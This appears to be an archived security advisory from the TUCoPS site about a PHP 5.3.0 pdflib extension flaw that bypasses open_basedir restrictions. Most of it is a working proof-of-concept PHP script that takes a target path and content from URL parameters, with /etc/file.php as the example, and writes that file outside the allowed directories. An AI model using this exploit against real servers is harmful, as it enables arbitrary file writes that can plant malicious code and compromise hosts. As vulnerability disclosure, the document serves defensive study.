Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: PHP :: bt-21947.htm

Php 5.3.0 pdflib extension open_basedir bypass



Php 5.3.0 pdflib extension open_basedir bypass
Php 5.3.0 pdflib extension open_basedir bypass



Description:
------------
Via this bug , attacker can save a file in path that not allowed in
open_basedir .

Reproduce code:
---------------
http://IrCrash.com 
if(!extension_loaded('pdf')){
   die('pdf extension required .');   
}else{
    $__PATH = $_GET['p']; /*The path that u want save file in .ex:
/etc/file.php*/
    $__VALUE = $_GET['v']; /*The text that u want save in file .ex:
*/
    if(!isset($__PATH,$__VALUE)){
       
die('/expl.php?p=[path_u_want_save_file]/[file_name]&v=[value_u_want_sav
e_in_file]');
    }
    $__IRCRASH = pdf_new();
    pdf_open_file($__IRCRASH,$__PATH);
    pdf_begin_page($__IRCRASH,612,792);
   
pdf_add_note($__IRCRASH,100,650,200,750,$__VALUE,'R3d.W0rm','note',0);
    pdf_end_page($__IRCRASH);
    pdf_close($__IRCRASH);
    pdf_delete($__IRCRASH);
    print('

IrCrash Security Team .

'); print('

' . $__PATH . "\n" . 'created .

');} ?> Expected result: ---------------- When attacker run this code , a file in a path that attacker input in `p` in url , whith value that attacker input in `v` in url.


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH